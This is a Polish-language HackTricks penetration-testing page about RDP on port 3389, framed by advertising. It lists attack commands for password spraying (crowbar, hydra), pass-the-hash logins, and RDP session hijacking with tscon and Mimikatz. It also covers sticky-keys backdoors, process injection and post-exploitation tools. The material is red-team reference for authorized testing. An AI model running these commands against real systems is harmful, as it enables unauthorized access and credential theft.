9.6 KiB
3389 - Testowanie penetracyjne RDP
Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną na HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Natychmiastowe dostępne środowisko do oceny podatności i testowania penetracyjnego. Uruchom pełne testowanie penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie, aż po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, przejęcie kontroli i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
Podstawowe informacje
Stworzony przez firmę Microsoft, Protokół Pulpitu Zdalnego (RDP) ma na celu umożliwienie połączenia interfejsu graficznego między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienta RDP, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera RDP. Taka konfiguracja pozwala na płynną kontrolę i dostęp do środowiska pulpitu zdalnego komputera, praktycznie przenosząc jego interfejs na urządzenie lokalne użytkownika.
Domyślny port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Wyliczanie
Automatyczne
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Sprawdza dostępne szyfrowanie i podatność na ataki typu DoS (bez wywoływania ataku DoS na usługę) oraz uzyskuje informacje na temat systemu Windows NTLM (wersje).
Atak siłowy
Bądź ostrożny, możesz zablokować konta
Password Spraying
Bądź ostrożny, możesz zablokować konta
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Połączenie za pomocą znanych poświadczeń/hasła
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Sprawdź znane dane uwierzytelniające w usługach RDP
rdp_check.py z impacket pozwala sprawdzić, czy określone dane uwierzytelniające są poprawne dla usługi RDP:
rdp_check <domain>/<name>:<password>@<IP>
Natychmiastowo dostępne ustawienie do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - tworzymy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, przejęcie kontroli i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
Ataki
Kradzież sesji
Z uprawnieniami SYSTEM możesz uzyskać dostęp do otwartej sesji RDP dowolnego użytkownika bez konieczności znajomości hasła właściciela.
Pobierz otwarte sesje:
query user
Dostęp do wybranej sesji
tscon <ID> /dest:<SESSIONNAME>
Teraz będziesz wewnątrz wybranej sesji RDP i będziesz musiał podać się za użytkownika, korzystając tylko z narzędzi i funkcji systemu Windows.
Ważne: Gdy uzyskasz dostęp do aktywnej sesji RDP, wylogujesz użytkownika, który jej używał.
Możesz uzyskać hasła, dumpując proces, ale ta metoda jest znacznie szybsza i pozwala na interakcję z wirtualnymi pulpitami użytkownika (hasła w notatniku bez zapisywania ich na dysku, inne sesje RDP otwarte na innych maszynach...)
Mimikatz
Możesz również użyć Mimikatz do tego:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Kombinując tę technikę z stickykeys lub utilman, będziesz mógł uzyskać dostęp do wiersza poleceń administratora i dowolnej sesji RDP w dowolnym momencie
Możesz wyszukać sesje RDP, które zostały już zainfekowane jedną z tych technik, korzystając z: https://github.com/linuz/Sticky-Keys-Slayer
Wstrzykiwanie Procesu RDP
Jeśli ktoś z innej domeny lub z wyższymi uprawnieniami zaloguje się przez RDP do komputera, na którym jesteś administratorem, możesz wstrzyknąć swój znacznik w jego proces sesji RDP i działać jak on:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Dodawanie Użytkownika do Grupy RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Narzędzia automatyczne
AutoRDPwn to framework do post-eksploatacji stworzony w Powershellu, zaprojektowany głównie do automatyzacji ataku Shadow na komputery z systemem Microsoft Windows. Ta podatność (wymieniona jako funkcja przez Microsoft) pozwala zdalnemu atakującemu obejrzeć pulpit swojej ofiary bez jej zgody, a nawet kontrolować go na żądanie, korzystając z narzędzi wbudowanych w sam system operacyjny.
- EvilRDP
- Kontroluj myszkę i klawiaturę w zautomatyzowany sposób z wiersza poleceń
- Kontroluj schowek w zautomatyzowany sposób z wiersza poleceń
- Uruchom proxy SOCKS z klienta, które kieruje komunikację sieciową do celu za pośrednictwem RDP
- Wykonuj dowolne polecenia SHELL i PowerShell na celu bez wgrywania plików
- Wgraj i pobierz pliki z/do celu nawet wtedy, gdy transfery plików są wyłączone na celu
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Natychmiastowo dostępne środowisko do oceny podatności i testów penetracyjnych. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują działania od rozpoznania po raportowanie. Nie zastępujemy pentesterów - tworzymy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.